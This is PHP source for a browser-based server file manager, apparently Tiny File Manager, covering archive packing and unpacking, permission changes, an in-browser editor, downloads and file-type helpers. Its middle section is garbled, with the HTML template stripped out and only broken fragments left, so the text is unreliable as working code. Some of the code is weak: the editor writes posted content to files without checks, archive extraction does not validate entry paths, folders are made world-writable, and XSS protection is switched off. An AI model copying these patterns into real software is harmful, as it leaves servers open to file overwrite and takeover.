$ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } /*************************** ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
    ' . PHP_EOL; } ?>

    : , ', $copy_files) ?>

    :
    /

     

    Copying

    Source path:
    Destination folder:

    Copy   Move   Cancel

    />
    />
    />

    ""

    :
    File size:
    MIME-type:
    :
    :
    :
    : %
    '.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
    '; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
    '; } ?>

     
     
         
    '; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
    '; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
    '; } } echo '
    '; } else { echo '

    '.lng('Error while fetching archive info').'

    '; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

    '; } } elseif ($is_audio) { // Audio content echo '

    '; } elseif ($is_video) { // Video content echo '
    '; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
    ' . fm_enc($content) . '
    '; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
    ' . fm_enc($content) . '
    '; } echo $content; } ?>
    '. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
    ' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
    ' . htmlspecialchars($content) . '
    '; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

    :

     

    '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
    ..
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    '.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
    "; return; } echo "$external[$key]"; } /** * Verify CSRF TOKEN and remove after certified * @param string $token * @return bool */ function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fm_enc(fm_convert_win($file_path)) ); } } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param string $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get total size of directory tree. * * @param string $directory Relative or absolute directory name. * @return int Total number of bytes. */ function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false && $directory != '' && file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': case 'ps1': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl', 'ps1' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } /** * It returns the mime type of a file based on its extension. * @param extension The file extension of the file you want to get the mime type for. * @return string|string[] The mime type of the file. */ function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return array|null */ function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /** * Parameters: downloadFile(File Location, File Name, * max speed, is streaming * If streaming - videos will show as videos, images as images * instead of download prompt * https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if(is_array($contentType)) { $contentType = implode(' ', $contentType); } $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } /** * If the theme is dark, return the text-white and bg-dark classes. * @return string the value of the variable. */ function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE 